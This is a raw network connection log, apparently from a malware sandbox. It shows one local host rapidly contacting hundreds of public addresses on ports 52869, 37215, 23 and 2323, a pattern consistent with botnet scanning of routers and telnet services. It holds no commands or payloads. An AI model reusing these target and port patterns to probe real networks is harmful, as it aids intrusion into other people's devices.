Dec 4, 2024 20:34:35.151355028 CET	60019	52869	192.168.2.14	156.108.64.67
Dec 4, 2024 20:34:35.151355982 CET	60019	52869	192.168.2.14	41.253.214.116
Dec 4, 2024 20:34:35.151355982 CET	60019	52869	192.168.2.14	156.22.46.202
Dec 4, 2024 20:34:35.151356936 CET	60019	52869	192.168.2.14	41.150.121.247
Dec 4, 2024 20:34:35.151359081 CET	60019	52869	192.168.2.14	197.93.64.109
Dec 4, 2024 20:34:35.151364088 CET	60019	52869	192.168.2.14	41.125.68.241
Dec 4, 2024 20:34:35.151365995 CET	60019	52869	192.168.2.14	41.40.177.110
Dec 4, 2024 20:34:35.151374102 CET	60019	52869	192.168.2.14	156.124.220.58
Dec 4, 2024 20:34:35.151374102 CET	60019	52869	192.168.2.14	156.220.57.180
Dec 4, 2024 20:34:35.151384115 CET	60019	52869	192.168.2.14	156.20.147.213
Dec 4, 2024 20:34:35.151384115 CET	60019	52869	192.168.2.14	156.50.90.136
Dec 4, 2024 20:34:35.151386023 CET	60019	52869	192.168.2.14	197.221.208.100
Dec 4, 2024 20:34:35.151386023 CET	60019	52869	192.168.2.14	156.197.123.41
Dec 4, 2024 20:34:35.151387930 CET	60019	52869	192.168.2.14	156.89.233.66
Dec 4, 2024 20:34:35.151387930 CET	60019	52869	192.168.2.14	41.132.210.98
Dec 4, 2024 20:34:35.151392937 CET	60019	52869	192.168.2.14	197.184.17.216
Dec 4, 2024 20:34:35.151392937 CET	60019	52869	192.168.2.14	156.180.108.180
Dec 4, 2024 20:34:35.151401997 CET	60019	52869	192.168.2.14	41.244.126.18
Dec 4, 2024 20:34:35.151406050 CET	60019	52869	192.168.2.14	197.139.237.60
Dec 4, 2024 20:34:35.151420116 CET	60019	52869	192.168.2.14	156.5.75.49
Dec 4, 2024 20:34:35.151427031 CET	60019	52869	192.168.2.14	41.90.4.142
Dec 4, 2024 20:34:35.151427031 CET	60019	52869	192.168.2.14	41.107.146.139
Dec 4, 2024 20:34:35.151427984 CET	60019	52869	192.168.2.14	41.117.23.189
Dec 4, 2024 20:34:35.151429892 CET	60019	52869	192.168.2.14	156.172.132.38
Dec 4, 2024 20:34:35.151429892 CET	60019	52869	192.168.2.14	41.172.234.6
Dec 4, 2024 20:34:35.151437044 CET	60019	52869	192.168.2.14	156.166.25.83
Dec 4, 2024 20:34:35.151437044 CET	60019	52869	192.168.2.14	156.167.32.21
Dec 4, 2024 20:34:35.151437998 CET	60019	52869	192.168.2.14	197.70.34.11
Dec 4, 2024 20:34:35.151437998 CET	60019	52869	192.168.2.14	41.168.71.12
Dec 4, 2024 20:34:35.151437998 CET	60019	52869	192.168.2.14	41.41.245.100
Dec 4, 2024 20:34:35.151444912 CET	60019	52869	192.168.2.14	156.129.10.19
Dec 4, 2024 20:34:35.151444912 CET	60019	52869	192.168.2.14	41.17.11.160
Dec 4, 2024 20:34:35.151454926 CET	60019	52869	192.168.2.14	156.164.38.51
Dec 4, 2024 20:34:35.151459932 CET	60019	52869	192.168.2.14	41.149.19.72
Dec 4, 2024 20:34:35.151462078 CET	60019	52869	192.168.2.14	156.102.134.218
Dec 4, 2024 20:34:35.151468039 CET	60019	52869	192.168.2.14	41.47.75.185
Dec 4, 2024 20:34:35.151468039 CET	60019	52869	192.168.2.14	156.168.38.249
Dec 4, 2024 20:34:35.151482105 CET	60019	52869	192.168.2.14	156.33.134.68
Dec 4, 2024 20:34:35.151484966 CET	60019	52869	192.168.2.14	156.223.243.47
Dec 4, 2024 20:34:35.151484013 CET	60019	52869	192.168.2.14	156.96.29.95
Dec 4, 2024 20:34:35.151484013 CET	60019	52869	192.168.2.14	197.161.37.174
Dec 4, 2024 20:34:35.151484013 CET	60019	52869	192.168.2.14	197.239.85.55
Dec 4, 2024 20:34:35.151489019 CET	60019	52869	192.168.2.14	41.68.178.194
Dec 4, 2024 20:34:35.151495934 CET	60019	52869	192.168.2.14	197.30.143.174
Dec 4, 2024 20:34:35.151499987 CET	60019	52869	192.168.2.14	41.11.178.70
Dec 4, 2024 20:34:35.151500940 CET	60019	52869	192.168.2.14	41.19.143.235
Dec 4, 2024 20:34:35.151508093 CET	60019	52869	192.168.2.14	197.62.178.111
Dec 4, 2024 20:34:35.151516914 CET	60019	52869	192.168.2.14	197.142.20.166
Dec 4, 2024 20:34:35.151520967 CET	60019	52869	192.168.2.14	197.71.118.242
Dec 4, 2024 20:34:35.151525974 CET	60019	52869	192.168.2.14	41.219.101.197
Dec 4, 2024 20:34:35.151530027 CET	60019	52869	192.168.2.14	156.1.208.220
Dec 4, 2024 20:34:35.151530981 CET	60019	52869	192.168.2.14	156.204.28.207
Dec 4, 2024 20:34:35.151531935 CET	60019	52869	192.168.2.14	197.51.30.229
Dec 4, 2024 20:34:35.151554108 CET	60019	52869	192.168.2.14	156.117.197.66
Dec 4, 2024 20:34:35.151554108 CET	60019	52869	192.168.2.14	156.240.241.185
Dec 4, 2024 20:34:35.151554108 CET	60019	52869	192.168.2.14	156.233.182.182
Dec 4, 2024 20:34:35.151556015 CET	60019	52869	192.168.2.14	197.14.7.39
Dec 4, 2024 20:34:35.151561975 CET	60019	52869	192.168.2.14	197.159.110.147
Dec 4, 2024 20:34:35.151561975 CET	60019	52869	192.168.2.14	197.23.150.125
Dec 4, 2024 20:34:35.151573896 CET	60019	52869	192.168.2.14	156.108.193.248
Dec 4, 2024 20:34:35.151578903 CET	60019	52869	192.168.2.14	197.11.66.177
Dec 4, 2024 20:34:35.151582956 CET	60019	52869	192.168.2.14	156.133.211.37
Dec 4, 2024 20:34:35.151582956 CET	60019	52869	192.168.2.14	156.79.132.32
Dec 4, 2024 20:34:35.151582956 CET	60019	52869	192.168.2.14	41.216.85.225
Dec 4, 2024 20:34:35.151597977 CET	60019	52869	192.168.2.14	197.146.243.109
Dec 4, 2024 20:34:35.151598930 CET	60019	52869	192.168.2.14	197.11.65.230
Dec 4, 2024 20:34:35.151603937 CET	60019	52869	192.168.2.14	41.172.201.126
Dec 4, 2024 20:34:35.151603937 CET	60019	52869	192.168.2.14	197.164.201.248
Dec 4, 2024 20:34:35.151603937 CET	60019	52869	192.168.2.14	156.36.153.230
Dec 4, 2024 20:34:35.151612043 CET	60019	52869	192.168.2.14	156.8.114.72
Dec 4, 2024 20:34:35.151617050 CET	60019	52869	192.168.2.14	41.211.7.14
Dec 4, 2024 20:34:35.151618004 CET	60019	52869	192.168.2.14	197.157.38.234
Dec 4, 2024 20:34:35.151623964 CET	60019	52869	192.168.2.14	156.61.159.190
Dec 4, 2024 20:34:35.151624918 CET	60019	52869	192.168.2.14	41.164.215.186
Dec 4, 2024 20:34:35.151624918 CET	60019	52869	192.168.2.14	41.96.47.132
Dec 4, 2024 20:34:35.151627064 CET	60019	52869	192.168.2.14	41.140.107.199
Dec 4, 2024 20:34:35.151628971 CET	60019	52869	192.168.2.14	41.133.126.161
Dec 4, 2024 20:34:35.151628971 CET	60019	52869	192.168.2.14	197.154.89.233
Dec 4, 2024 20:34:35.151639938 CET	60019	52869	192.168.2.14	156.58.51.14
Dec 4, 2024 20:34:35.151642084 CET	60019	52869	192.168.2.14	197.105.189.210
Dec 4, 2024 20:34:35.151650906 CET	60019	52869	192.168.2.14	41.147.26.163
Dec 4, 2024 20:34:35.151654005 CET	60019	52869	192.168.2.14	156.181.216.197
Dec 4, 2024 20:34:35.151664019 CET	60019	52869	192.168.2.14	197.120.92.157
Dec 4, 2024 20:34:35.151664019 CET	60019	52869	192.168.2.14	156.32.241.23
Dec 4, 2024 20:34:35.151665926 CET	60019	52869	192.168.2.14	197.149.18.133
Dec 4, 2024 20:34:35.151685953 CET	60019	52869	192.168.2.14	41.252.156.209
Dec 4, 2024 20:34:35.151685953 CET	60019	52869	192.168.2.14	156.48.220.51
Dec 4, 2024 20:34:35.151685953 CET	60019	52869	192.168.2.14	41.195.85.10
Dec 4, 2024 20:34:35.151685953 CET	60019	52869	192.168.2.14	197.97.181.113
Dec 4, 2024 20:34:35.151694059 CET	60019	52869	192.168.2.14	197.62.181.91
Dec 4, 2024 20:34:35.151694059 CET	60019	52869	192.168.2.14	156.150.218.115
Dec 4, 2024 20:34:35.151706934 CET	60019	52869	192.168.2.14	41.113.176.180
Dec 4, 2024 20:34:35.151707888 CET	60019	52869	192.168.2.14	197.49.126.94
Dec 4, 2024 20:34:35.151709080 CET	60019	52869	192.168.2.14	156.190.95.60
Dec 4, 2024 20:34:35.151724100 CET	60019	52869	192.168.2.14	41.90.68.129
Dec 4, 2024 20:34:35.151727915 CET	60019	52869	192.168.2.14	156.226.100.249
Dec 4, 2024 20:34:35.151727915 CET	60019	52869	192.168.2.14	197.173.119.148
Dec 4, 2024 20:34:35.151727915 CET	60019	52869	192.168.2.14	197.130.246.72
Dec 4, 2024 20:34:35.151727915 CET	60019	52869	192.168.2.14	41.200.33.63
Dec 4, 2024 20:34:35.151742935 CET	60019	52869	192.168.2.14	41.102.198.21
Dec 4, 2024 20:34:35.151746988 CET	60019	52869	192.168.2.14	197.159.89.31
Dec 4, 2024 20:34:35.151746988 CET	60019	52869	192.168.2.14	41.24.45.190
Dec 4, 2024 20:34:35.151746988 CET	60019	52869	192.168.2.14	41.28.161.90
Dec 4, 2024 20:34:35.151746988 CET	60019	52869	192.168.2.14	41.108.152.245
Dec 4, 2024 20:34:35.151750088 CET	60019	52869	192.168.2.14	41.151.213.66
Dec 4, 2024 20:34:35.151746988 CET	60019	52869	192.168.2.14	156.184.44.66
Dec 4, 2024 20:34:35.151752949 CET	60019	52869	192.168.2.14	197.14.143.172
Dec 4, 2024 20:34:35.151756048 CET	60019	52869	192.168.2.14	197.53.84.218
Dec 4, 2024 20:34:35.151772022 CET	60019	52869	192.168.2.14	41.126.112.51
Dec 4, 2024 20:34:35.151772976 CET	60019	52869	192.168.2.14	197.117.23.58
Dec 4, 2024 20:34:35.151772976 CET	60019	52869	192.168.2.14	197.128.32.89
Dec 4, 2024 20:34:35.151777029 CET	60019	52869	192.168.2.14	156.112.151.219
Dec 4, 2024 20:34:35.151777983 CET	60019	52869	192.168.2.14	156.32.51.136
Dec 4, 2024 20:34:35.151777983 CET	60019	52869	192.168.2.14	41.156.124.57
Dec 4, 2024 20:34:35.151792049 CET	60019	52869	192.168.2.14	156.209.174.39
Dec 4, 2024 20:34:35.151793957 CET	60019	52869	192.168.2.14	197.253.81.215
Dec 4, 2024 20:34:35.151802063 CET	60019	52869	192.168.2.14	41.101.56.242
Dec 4, 2024 20:34:35.151802063 CET	60019	52869	192.168.2.14	197.43.51.102
Dec 4, 2024 20:34:35.151808023 CET	60019	52869	192.168.2.14	156.79.52.195
Dec 4, 2024 20:34:35.151808023 CET	60019	52869	192.168.2.14	41.7.199.88
Dec 4, 2024 20:34:35.151808977 CET	60019	52869	192.168.2.14	41.125.55.140
Dec 4, 2024 20:34:35.151808977 CET	60019	52869	192.168.2.14	156.156.224.123
Dec 4, 2024 20:34:35.151813030 CET	60019	52869	192.168.2.14	197.237.130.61
Dec 4, 2024 20:34:35.151813030 CET	60019	52869	192.168.2.14	197.197.119.226
Dec 4, 2024 20:34:35.151815891 CET	60019	52869	192.168.2.14	156.229.6.63
Dec 4, 2024 20:34:35.151817083 CET	60019	52869	192.168.2.14	197.53.47.117
Dec 4, 2024 20:34:35.151818037 CET	60019	52869	192.168.2.14	41.24.130.96
Dec 4, 2024 20:34:35.151818991 CET	60019	52869	192.168.2.14	156.2.149.45
Dec 4, 2024 20:34:35.151834011 CET	60019	52869	192.168.2.14	156.116.16.193
Dec 4, 2024 20:34:35.151838064 CET	60019	52869	192.168.2.14	197.60.5.218
Dec 4, 2024 20:34:35.151838064 CET	60019	52869	192.168.2.14	197.133.110.102
Dec 4, 2024 20:34:35.151842117 CET	60019	52869	192.168.2.14	156.231.121.225
Dec 4, 2024 20:34:35.151844025 CET	60019	52869	192.168.2.14	156.215.97.203
Dec 4, 2024 20:34:35.151846886 CET	60019	52869	192.168.2.14	197.68.169.142
Dec 4, 2024 20:34:35.151848078 CET	60019	52869	192.168.2.14	156.49.204.16
Dec 4, 2024 20:34:35.151859045 CET	60019	52869	192.168.2.14	156.124.76.16
Dec 4, 2024 20:34:35.152390957 CET	47126	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:35.153072119 CET	55812	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:35.153800964 CET	34282	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:35.154495001 CET	50966	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:35.155154943 CET	38464	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:35.155819893 CET	41840	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:35.156449080 CET	59414	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:35.157151937 CET	56464	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:35.157823086 CET	54822	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:35.158366919 CET	37798	37215	192.168.2.14	197.255.15.13
Dec 4, 2024 20:34:35.158368111 CET	48394	37215	192.168.2.14	41.192.132.220
Dec 4, 2024 20:34:35.158370018 CET	55850	37215	192.168.2.14	197.196.253.237
Dec 4, 2024 20:34:35.158374071 CET	54538	37215	192.168.2.14	197.219.190.108
Dec 4, 2024 20:34:35.158374071 CET	57694	52869	192.168.2.14	41.255.254.183
Dec 4, 2024 20:34:35.158374071 CET	59818	37215	192.168.2.14	41.94.156.53
Dec 4, 2024 20:34:35.158374071 CET	56720	37215	192.168.2.14	156.142.202.185
Dec 4, 2024 20:34:35.158518076 CET	41860	52869	192.168.2.14	156.111.130.19
Dec 4, 2024 20:34:35.159185886 CET	46150	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:35.179250002 CET	23	53612	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:35.179359913 CET	23	39610	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:35.179450989 CET	53612	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:35.179480076 CET	23	32770	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:35.179620028 CET	23	48824	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:35.179768085 CET	23	36134	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.179883003 CET	53758	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:35.179963112 CET	23	50272	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:35.180356979 CET	36134	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.180654049 CET	36292	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.181006908 CET	50272	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:35.181288958 CET	50430	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:35.181667089 CET	48824	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:35.181966066 CET	48982	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:35.182338953 CET	39610	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:35.182354927 CET	32770	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:35.182638884 CET	39768	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:35.182701111 CET	23	42834	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:35.182735920 CET	2323	43950	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:35.182744026 CET	42834	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:35.182765007 CET	43950	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:35.183034897 CET	32770	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:35.183343887 CET	32928	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:35.222415924 CET	58202	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:35.237319946 CET	23	34818	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:35.237468004 CET	34818	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:35.237974882 CET	34888	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:35.238044977 CET	2323	56818	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.238208055 CET	23	47312	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.238360882 CET	56818	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.238363028 CET	47312	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.238390923 CET	56818	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.238706112 CET	56888	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.239070892 CET	47312	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.239151001 CET	23	42486	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.239351988 CET	47382	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.239689112 CET	23	33028	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:35.239783049 CET	42486	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.240060091 CET	42556	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.240439892 CET	33028	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:35.240731955 CET	33098	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:35.254375935 CET	60328	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:35.254383087 CET	42098	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.254383087 CET	55890	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:35.254385948 CET	41424	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:35.271502972 CET	52869	60019	197.203.229.170	192.168.2.14
Dec 4, 2024 20:34:35.271533012 CET	52869	60019	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:35.271544933 CET	52869	60019	156.215.44.171	192.168.2.14
Dec 4, 2024 20:34:35.271563053 CET	52869	60019	197.182.194.233	192.168.2.14
Dec 4, 2024 20:34:35.271588087 CET	60019	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:35.271598101 CET	60019	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:35.271600962 CET	52869	60019	197.112.45.226	192.168.2.14
Dec 4, 2024 20:34:35.271601915 CET	60019	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:35.271614075 CET	60019	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:35.271631956 CET	60019	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:35.271648884 CET	52869	60019	156.141.19.59	192.168.2.14
Dec 4, 2024 20:34:35.271681070 CET	60019	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:35.271698952 CET	52869	60019	156.10.184.5	192.168.2.14
Dec 4, 2024 20:34:35.271717072 CET	52869	60019	156.203.139.23	192.168.2.14
Dec 4, 2024 20:34:35.271735907 CET	60019	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:35.271764994 CET	60019	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:35.271784067 CET	52869	60019	197.172.51.171	192.168.2.14
Dec 4, 2024 20:34:35.271806002 CET	52869	60019	41.158.27.132	192.168.2.14
Dec 4, 2024 20:34:35.271814108 CET	60019	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:35.271817923 CET	52869	60019	41.194.229.91	192.168.2.14
Dec 4, 2024 20:34:35.271842003 CET	60019	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:35.271847963 CET	60019	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:35.271976948 CET	52869	60019	156.26.151.180	192.168.2.14
Dec 4, 2024 20:34:35.271989107 CET	52869	60019	197.196.129.17	192.168.2.14
Dec 4, 2024 20:34:35.272017956 CET	60019	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:35.272021055 CET	60019	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:35.299361944 CET	23	53612	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:35.299958944 CET	23	53758	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:35.300024033 CET	53758	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:35.300240993 CET	23	36134	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.300477982 CET	23	36292	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.300529003 CET	36292	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.300909996 CET	23	50272	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:35.301393986 CET	23	48824	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:35.302180052 CET	23	39610	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:35.302784920 CET	23	32770	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:35.302892923 CET	2323	43950	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:35.302959919 CET	43950	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:35.303023100 CET	23	32928	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:35.303066969 CET	32928	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:35.303332090 CET	44102	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:35.342538118 CET	23	58202	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:35.342624903 CET	58202	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:35.357775927 CET	23	34818	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:35.358164072 CET	23	34888	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:35.358228922 CET	34888	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:35.358453035 CET	2323	56818	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.358840942 CET	2323	56888	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.358887911 CET	56888	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.359003067 CET	23	47312	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.359232903 CET	23	47382	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.359277010 CET	47382	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.359601021 CET	23	42486	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.359858036 CET	23	42556	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.359920025 CET	42556	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.360115051 CET	23	33028	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:35.374340057 CET	23	60328	112.154.109.33	192.168.2.14
Dec 4, 2024 20:34:35.374360085 CET	23	42098	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.374412060 CET	60328	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:35.374423027 CET	42098	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.421407938 CET	23	53758	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:35.421530008 CET	53758	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:35.421889067 CET	23	36292	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.421988010 CET	53782	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:35.422347069 CET	36292	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.422380924 CET	36292	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.422677040 CET	36316	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.424148083 CET	2323	43950	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:35.424508095 CET	2323	44102	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:35.424555063 CET	44102	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:35.478529930 CET	23	34888	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:35.478650093 CET	34888	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:35.479053020 CET	34904	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:35.479142904 CET	2323	56888	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.479427099 CET	23	47382	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.479465961 CET	56888	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.479747057 CET	56904	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.480129004 CET	47382	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.480295897 CET	23	42556	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.480432034 CET	47398	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.480822086 CET	42556	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.481121063 CET	42572	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.495054960 CET	23	42098	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.495117903 CET	42098	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.495466948 CET	42528	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.541652918 CET	23	53758	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:35.541785002 CET	23	53782	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:35.541882992 CET	53782	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:35.542130947 CET	23	36292	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.542494059 CET	23	36316	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.542546034 CET	36316	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.600390911 CET	23	34888	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:35.600701094 CET	23	34904	31.250.57.191	192.168.2.14
Dec 4, 2024 20:34:35.600799084 CET	34904	23	192.168.2.14	31.250.57.191
Dec 4, 2024 20:34:35.600919962 CET	2323	56888	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.601087093 CET	2323	56904	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.601277113 CET	56904	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.601381063 CET	23	47382	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.601754904 CET	23	47398	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.601799965 CET	47398	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.602062941 CET	23	42556	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.602315903 CET	23	42572	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.602358103 CET	42572	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.615869045 CET	23	42098	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.616054058 CET	23	42528	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.616113901 CET	42528	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.662945986 CET	23	36316	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.663079023 CET	36316	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.663599014 CET	36328	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.668071032 CET	60275	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:35.668075085 CET	60275	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:35.668075085 CET	60275	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:35.668080091 CET	60275	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:35.668085098 CET	60275	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:35.668085098 CET	60275	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:35.668085098 CET	60275	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:35.668092012 CET	60275	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:35.668101072 CET	60275	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:35.668107986 CET	60275	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:35.668111086 CET	60275	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:35.668127060 CET	60275	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:35.668127060 CET	60275	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:35.668127060 CET	60275	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:35.668127060 CET	60275	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:35.668129921 CET	60275	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:35.668129921 CET	60275	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:35.668129921 CET	60275	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:35.668139935 CET	60275	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:35.668154001 CET	60275	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:35.668155909 CET	60275	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:35.668155909 CET	60275	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:35.668168068 CET	60275	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:35.668173075 CET	60275	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:35.668174028 CET	60275	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:35.668179035 CET	60275	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:35.668193102 CET	60275	37215	192.168.2.14	41.155.54.83
